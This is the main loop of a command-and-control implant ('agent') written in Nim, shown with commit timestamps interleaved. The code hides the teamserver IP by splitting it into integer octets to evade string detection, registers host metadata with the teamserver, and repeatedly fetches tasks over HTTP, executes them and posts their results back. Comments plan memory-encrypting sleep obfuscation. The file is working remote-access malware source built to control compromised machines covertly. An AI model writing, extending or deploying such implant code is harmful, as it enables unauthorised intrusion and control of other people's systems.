2025-07-24 15:31:46 +02:00
|
|
|
import strformat, os, times, system, base64
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-23 13:47:37 +02:00
|
|
|
import core/[task, taskresult, heartbeat, http, register]
|
2025-07-25 16:41:29 +02:00
|
|
|
import ../modules/manager
|
|
|
|
|
import ../common/[types, utils, crypto]
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-05-24 13:56:26 +02:00
|
|
|
const ListenerUuid {.strdefine.}: string = ""
|
2025-06-02 21:37:58 +02:00
|
|
|
const Octet1 {.intdefine.}: int = 0
|
|
|
|
|
const Octet2 {.intdefine.}: int = 0
|
|
|
|
|
const Octet3 {.intdefine.}: int = 0
|
|
|
|
|
const Octet4 {.intdefine.}: int = 0
|
2025-05-24 13:56:26 +02:00
|
|
|
const ListenerPort {.intdefine.}: int = 5555
|
|
|
|
|
const SleepDelay {.intdefine.}: int = 10
|
2025-07-24 15:31:46 +02:00
|
|
|
const ServerPublicKey {.strdefine.}: string = ""
|
2025-05-24 13:56:26 +02:00
|
|
|
|
2025-05-19 21:56:34 +02:00
|
|
|
proc main() =
|
|
|
|
|
#[
|
|
|
|
|
The process is the following:
|
|
|
|
|
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
|
|
|
|
|
2. Agent collects information relevant for the registration (using Windows API)
|
|
|
|
|
3. Agent registers to the teamserver
|
|
|
|
|
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
|
|
|
|
|
]#
|
|
|
|
|
|
2025-05-24 13:56:26 +02:00
|
|
|
# The agent configuration is read at compile time using define/-d statements in nim.cfg
|
|
|
|
|
# This configuration file can be dynamically generated from the teamserver management interface
|
|
|
|
|
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
|
2025-08-13 13:38:39 +02:00
|
|
|
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay) or not defined(ServerPublicKey):
|
2025-05-24 13:56:26 +02:00
|
|
|
echo "Missing agent configuration."
|
|
|
|
|
quit(0)
|
|
|
|
|
|
2025-06-02 21:37:58 +02:00
|
|
|
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
|
|
|
|
|
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
|
|
|
|
|
|
2025-07-08 23:10:19 +02:00
|
|
|
# Create agent configuration
|
2025-07-24 15:31:46 +02:00
|
|
|
var config: AgentConfig
|
|
|
|
|
try:
|
2025-07-24 17:26:48 +02:00
|
|
|
var agentKeyPair = generateKeyPair()
|
2025-07-24 15:31:46 +02:00
|
|
|
let serverPublicKey = decode(ServerPublicKey).toKey()
|
|
|
|
|
|
|
|
|
|
config = AgentConfig(
|
|
|
|
|
agentId: generateUUID(),
|
|
|
|
|
listenerId: ListenerUuid,
|
|
|
|
|
ip: address,
|
|
|
|
|
port: ListenerPort,
|
|
|
|
|
sleep: SleepDelay,
|
|
|
|
|
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
|
|
|
|
|
agentPublicKey: agentKeyPair.publicKey
|
|
|
|
|
)
|
|
|
|
|
|
2025-07-24 17:26:48 +02:00
|
|
|
# Cleanup agent's secret key
|
|
|
|
|
wipeKey(agentKeyPair.privateKey)
|
2025-07-24 15:31:46 +02:00
|
|
|
|
|
|
|
|
except CatchableError as err:
|
|
|
|
|
echo "[-] " & err.msg
|
2025-05-23 10:02:17 +02:00
|
|
|
|
2025-07-25 16:41:29 +02:00
|
|
|
# Load agent commands
|
|
|
|
|
loadModules()
|
|
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
# Create registration payload
|
2025-07-23 13:47:37 +02:00
|
|
|
var registration: AgentRegistrationData = config.collectAgentMetadata()
|
|
|
|
|
let registrationBytes = config.serializeRegistrationData(registration)
|
2025-07-21 22:07:25 +02:00
|
|
|
|
2025-08-14 12:25:06 +02:00
|
|
|
if not config.httpPost(registrationBytes):
|
|
|
|
|
echo "[-] Agent registration failed."
|
|
|
|
|
quit(0)
|
2025-07-21 22:07:25 +02:00
|
|
|
echo fmt"[+] [{config.agentId}] Agent registered."
|
2025-05-19 21:56:34 +02:00
|
|
|
|
|
|
|
|
#[
|
2025-05-22 20:03:22 +02:00
|
|
|
Agent routine:
|
2025-05-19 21:56:34 +02:00
|
|
|
1. Sleep Obfuscation
|
|
|
|
|
2. Retrieve task from /tasks endpoint
|
|
|
|
|
3. Execute task and post result to /results
|
|
|
|
|
4. If additional tasks have been fetched, go to 2.
|
|
|
|
|
5. If no more tasks need to be executed, go to 1.
|
|
|
|
|
]#
|
|
|
|
|
while true:
|
|
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
|
2025-05-24 13:56:26 +02:00
|
|
|
sleep(config.sleep * 1000)
|
2025-05-19 21:56:34 +02:00
|
|
|
|
|
|
|
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
2025-05-22 20:03:22 +02:00
|
|
|
echo fmt"[{date}] Checking in."
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-26 18:20:54 +02:00
|
|
|
try:
|
|
|
|
|
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
|
|
|
|
# The check-in request contains the agentId, listenerId, so the server knows which tasks to return
|
|
|
|
|
var heartbeat: Heartbeat = config.createHeartbeat()
|
|
|
|
|
let
|
|
|
|
|
heartbeatBytes: seq[byte] = config.serializeHeartbeat(heartbeat)
|
2025-08-14 12:25:06 +02:00
|
|
|
packet: string = config.httpGet(heartbeatBytes)
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-26 18:20:54 +02:00
|
|
|
if packet.len <= 0:
|
2025-08-14 12:25:06 +02:00
|
|
|
echo "[*] No tasks to execute."
|
2025-07-26 18:20:54 +02:00
|
|
|
continue
|
2025-07-18 18:47:57 +02:00
|
|
|
|
2025-07-26 18:20:54 +02:00
|
|
|
let tasks: seq[Task] = config.deserializePacket(packet)
|
|
|
|
|
|
|
|
|
|
if tasks.len <= 0:
|
2025-08-14 12:25:06 +02:00
|
|
|
echo "[*] No tasks to execute."
|
2025-07-26 18:20:54 +02:00
|
|
|
continue
|
2025-07-18 18:47:57 +02:00
|
|
|
|
2025-07-26 18:20:54 +02:00
|
|
|
# Execute all retrieved tasks and return their output to the server
|
|
|
|
|
for task in tasks:
|
|
|
|
|
var result: TaskResult = config.handleTask(task)
|
|
|
|
|
let resultBytes: seq[byte] = config.serializeTaskResult(result)
|
2025-07-19 16:49:27 +02:00
|
|
|
|
2025-08-14 12:25:06 +02:00
|
|
|
config.httpPost(resultBytes)
|
2025-07-26 18:20:54 +02:00
|
|
|
|
|
|
|
|
except CatchableError as err:
|
|
|
|
|
echo "[-] ", err.msg
|
|
|
|
|
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-05-19 21:56:34 +02:00
|
|
|
when isMainModule:
|
|
|
|
|
main()
|